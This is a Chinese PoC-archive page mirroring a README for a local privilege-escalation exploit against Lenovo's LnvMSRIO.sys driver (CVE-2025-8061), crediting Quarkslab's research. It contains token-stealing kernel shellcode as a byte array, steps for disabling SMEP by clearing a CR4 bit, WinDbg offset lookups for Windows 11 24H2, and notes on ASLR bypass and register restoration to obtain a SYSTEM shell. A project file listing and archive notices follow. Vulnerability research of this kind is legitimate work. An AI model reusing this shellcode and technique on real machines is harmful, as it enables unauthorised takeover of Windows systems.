POC详情: 2f3a79d2a1911c680a5bc75b81f6a5eeefeb242a

来源
关联漏洞
标题: Lenovo Dispatcher 安全漏洞 (CVE-2025-8061)
描述:Lenovo Dispatcher是中国联想(Lenovo)公司的一个具有任务调度和更新分发的软件。 Lenovo Dispatcher 3.0版本和3.1版本存在安全漏洞,该漏洞源于访问控制不足,可能导致本地认证用户执行具有提升权限的代码。
描述
PoC for popping a system shell against the LnvMSRIO.sys driver
介绍
![System shell.](lenovo-sys.png)


# Lenovo-CVE-2025-8061
PoC for popping a system shell against the LnvMSRIO.sys (3.1.0.36) driver.
 All credits go to the original author [Luis Casvella from Quarkslab](https://blog.quarkslab.com/exploiting-lenovo-driver-cve-2025-8061.html).
 This works against latest Windows 11 Version 24H2 (with KVAShadowing and Core Isolation disabled!)

> [!NOTE]
> This was compiled using latest Visual Studio 22.

## Useful notes for exploitation

> [!CAUTION]
> The offsets for this exploit are hardcoded for Windows version: Edition build lab: 26100.1.amd64fre.ge_release.240331-1435.
> As such you *need* to modify/debug your system since they will be different than the ones I've used for this.

The `KiSystemCall64` offset was obviously different to the author's one:

`#define FUNCTION_OFFSET__KISYSTEMCALL64     0x6b2b40  // nt!KiSystemCall64 offset`

```
0: kd> rdmsr c0000082
msr[c0000082] = fffff801`e76b2b40
0: kd> ? fffff801`e76b2b40 - nt
Evaluate expression: 7023424 = 00000000`006b2b40
```

## Disabling SMEP

The current value of the `cr4` register for my system was `0x00350EF8`
As such in order to disable SMEP you need the bit 20 *cleared*:

```
0x350ef8 = 0011 0101 0000 1110 1111 1000
Bit 20 (SMEP) = 1 (enabled)
```

So to find out the correct value:
`0x350ef8 & ~0x100000 = 0x250ef8`

Verify Your System's CR4
First check what CR4 value your system should have:
```r cr4
? cr4 & 0x100000   ; Check if bit 20 is set
```

Very important in the return to user mode shellcoding section make sure you restore it to its *original* value!

## ASLR Bypass.

Using a different machine:

```
6: kd> r cr4
cr4=0000000000370678
6: kd> rdmsr C0000082
msr[c0000082] = fffff803`88d7a200
6: kd> u fffff803`88d7a200
nt!KiSystemCall64Shadow:
fffff803`88d7a200 0f01f8          swapgs
fffff803`88d7a203 654889242510b00000 mov   qword ptr gs:[0B010h],rsp
fffff803`88d7a20c 65488b242500b00000 mov   rsp,qword ptr gs:[0B000h]
--snip--
6: kd> ? fffff803`88d7a200 - nt
Evaluate expression: 12034560 = 00000000`00b7a200
```
As you can see these are all different and technically there's no ASLR bypass here (meh)..
Techniques to research:

```
1. Signature Scanning 
Once you have KiSystemCall64Shadow address from LSTAR, scan backwards or forwards for known byte patterns that are stable across versions. For example:

// KiSystemCall64Shadow always starts with: swapgs (0f 01 f8)
// Verify you have the right address
if (memcmp(leaked_address, "\x0f\x01\xf8", 3) != 0) {
    // Invalid - adjust offset
}

// Then scan for other gadgets relative to this known point
// For example, find "pop rcx; ret" pattern: 59 c3

2. Use Known Offsets Between Functions
Some offsets between kernel functions are more stable. Once you have KiSystemCall64Shadow:

// KiSystemCall64 is usually nearby (a few KB away)
// Scan the region for the standard KiSystemCall64 prologue
// Search for: 0f 01 f8 65 48 89 24 25 (swapgs + mov gs:[...], rsp)
```

## Token stealing shellcode.
Since again am using a different version I had to slightly modify that shellcode:

```
    unsigned char tokenSteal[] = {
        0x65, 0x48, 0x8B, 0x04, 0x25, 0x88, 0x01, 0x00, 0x00,  // mov rax, gs:[0x188]
        0x48, 0x8B, 0x80, 0x20, 0x02, 0x00, 0x00,              // mov rax, [rax+0x220] <- Changed from 0xb8
        0x49, 0x89, 0xC0,                                       // mov r8, rax
        0x4D, 0x8B, 0x80, 0xD8, 0x01, 0x00, 0x00,              // mov r8, [r8+0x1d8]
        0x49, 0x81, 0xE8, 0xD8, 0x01, 0x00, 0x00,              // sub r8, 0x1d8
        0x4D, 0x8B, 0x88, 0xD0, 0x01, 0x00, 0x00,              // mov r9, [r8+0x1d0]
        0x49, 0x83, 0xF9, 0x04,                                 // cmp r9, 4
        0x75, 0xE5,                                             // jne (loop back)
        0x49, 0x8B, 0x88, 0x48, 0x02, 0x00, 0x00,              // mov rcx, [r8+0x248]
        0x80, 0xE1, 0xF0,                                       // and cl, 0xf0
        0x48, 0x89, 0x88, 0x48, 0x02, 0x00, 0x00               // mov [rax+0x248], rcx
    };
```

For these you need to check the following structures and adjust:
```
0: kd> dt nt!_KPCR
   +0x000 NtTib            : _NT_TIB
   +0x000 GdtBase          : Ptr64 _KGDTENTRY64
   +0x008 TssBase          : Ptr64 _KTSS64
   +0x010 UserRsp          : Uint8B
   +0x018 Self             : Ptr64 _KPCR
   +0x020 CurrentPrcb      : Ptr64 _KPRCB
   +0x028 LockArray        : Ptr64 _KSPIN_LOCK_QUEUE
   +0x030 Used_Self        : Ptr64 Void
   +0x038 IdtBase          : Ptr64 _KIDTENTRY64
   +0x040 Unused           : [2] Uint8B
   +0x050 Irql             : UChar
   +0x051 SecondLevelCacheAssociativity : UChar
   +0x052 ObsoleteNumber   : UChar
   +0x053 Fill0            : UChar
   +0x054 Unused0          : [3] Uint4B
   +0x060 MajorVersion     : Uint2B
   +0x062 MinorVersion     : Uint2B
   +0x064 StallScaleFactor : Uint4B
   +0x068 Unused1          : [3] Ptr64 Void
   +0x080 KernelReserved   : [15] Uint4B
   +0x0bc SecondLevelCacheSize : Uint4B
   +0x0c0 HalReserved      : [16] Uint4B
   +0x100 Unused2          : Uint4B
   +0x108 KdVersionBlock   : Ptr64 Void
   +0x110 Unused3          : Ptr64 Void
   +0x118 PcrAlign1        : [24] Uint4B
   +0x180 Prcb             : _KPRCB
0: kd> dt nt!_EPROCESS ActiveProcessLinks
   +0x1d8 ActiveProcessLinks : _LIST_ENTRY
0: kd> dt nt!_EPROCESS UniqueProcessId 
   +0x1d0 UniqueProcessId : Ptr64 Void
0: kd> dt nt!_EPROCESS Token
   +0x248 Token : _EX_FAST_REF
0: kd> dt nt!_KTHREAD Process
   +0x220 Process : Ptr64 _KPROCESS
0: kd> dt nt!_KPCR
   +0x000 NtTib            : _NT_TIB
   +0x000 GdtBase          : Ptr64 _KGDTENTRY64
   +0x008 TssBase          : Ptr64 _KTSS64
   +0x010 UserRsp          : Uint8B
   +0x018 Self             : Ptr64 _KPCR
   +0x020 CurrentPrcb      : Ptr64 _KPRCB
   +0x028 LockArray        : Ptr64 _KSPIN_LOCK_QUEUE
   +0x030 Used_Self        : Ptr64 Void
   +0x038 IdtBase          : Ptr64 _KIDTENTRY64
   +0x040 Unused           : [2] Uint8B
   +0x050 Irql             : UChar
   +0x051 SecondLevelCacheAssociativity : UChar
   +0x052 ObsoleteNumber   : UChar
   +0x053 Fill0            : UChar
   +0x054 Unused0          : [3] Uint4B
   +0x060 MajorVersion     : Uint2B
   +0x062 MinorVersion     : Uint2B
   +0x064 StallScaleFactor : Uint4B
   +0x068 Unused1          : [3] Ptr64 Void
   +0x080 KernelReserved   : [15] Uint4B
   +0x0bc SecondLevelCacheSize : Uint4B
   +0x0c0 HalReserved      : [16] Uint4B
   +0x100 Unused2          : Uint4B
   +0x108 KdVersionBlock   : Ptr64 Void
   +0x110 Unused3          : Ptr64 Void
   +0x118 PcrAlign1        : [24] Uint4B
   +0x180 Prcb             : _KPRCB
0: kd> dt nt!_KPRCB CurrentThread
   +0x008 CurrentThread : Ptr64 _KTHREAD
```

## swapgs syscall

Right before executing the `swapgs` it's very important that `rcx` points back to the main so execution can continue.
Failing to do that it will make your VM freeze!

![Executing the swapgs instruction.](swapgs.png)

## rdmsr c0000082 address

Make *sure* you also restore this value to its original one. Failing to do that will also freeze the VM once again :)

## TODO

- [ ] Find more generic ways to obtain the gadgets using the MSR LSTAR arbitrary read!
- [ ] As per comment on twitter, find out how to use the low stub method to read CR3 register. And then we can convert VA to PA.
文件快照

[4.0K] /data/pocs/2f3a79d2a1911c680a5bc75b81f6a5eeefeb242a ├── [4.0K] lenovopoc │   ├── [ 13] Header.h │   ├── [ 12K] lenovopoc.cpp │   ├── [6.4K] lenovopoc.vcxproj │   ├── [1.2K] lenovopoc.vcxproj.filters │   ├── [ 165] lenovopoc.vcxproj.user │   ├── [1.2K] PrepareStack.asm │   └── [4.0K] x64 │   └── [4.0K] Debug │   ├── [1.3K] lenovopoc.Build.CppClean.log │   ├── [ 293] lenovopoc.exe.recipe │   ├── [711K] lenovopoc.ilk │   ├── [ 136] lenovopoc.log │   ├── [ 82K] lenovopoc.obj │   ├── [4.0K] lenovopoc.tlog │   │   ├── [ 766] CL.command.1.tlog │   │   ├── [ 132] Cl.items.tlog │   │   ├── [ 26K] CL.read.1.tlog │   │   ├── [ 544] CL.write.1.tlog │   │   ├── [ 164] lenovopoc.lastbuildstate │   │   ├── [1.5K] link.command.1.tlog │   │   ├── [3.6K] link.read.1.tlog │   │   ├── [ 217] link.secondary.1.tlog │   │   ├── [ 544] link.write.1.tlog │   │   ├── [ 134] Masm.read.1u.tlog │   │   └── [ 284] Masm.write.1u.tlog │   ├── [ 0] lenovopoc.vcxproj.FileListAbsolute.txt │   ├── [1.3K] PrepareStack.obj │   ├── [235K] vc143.idb │   └── [156K] vc143.pdb ├── [1.4K] lenovopoc.sln ├── [212K] lenovo-sys.png ├── [7.1K] README.md └── [659K] swapgs.png 4 directories, 30 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。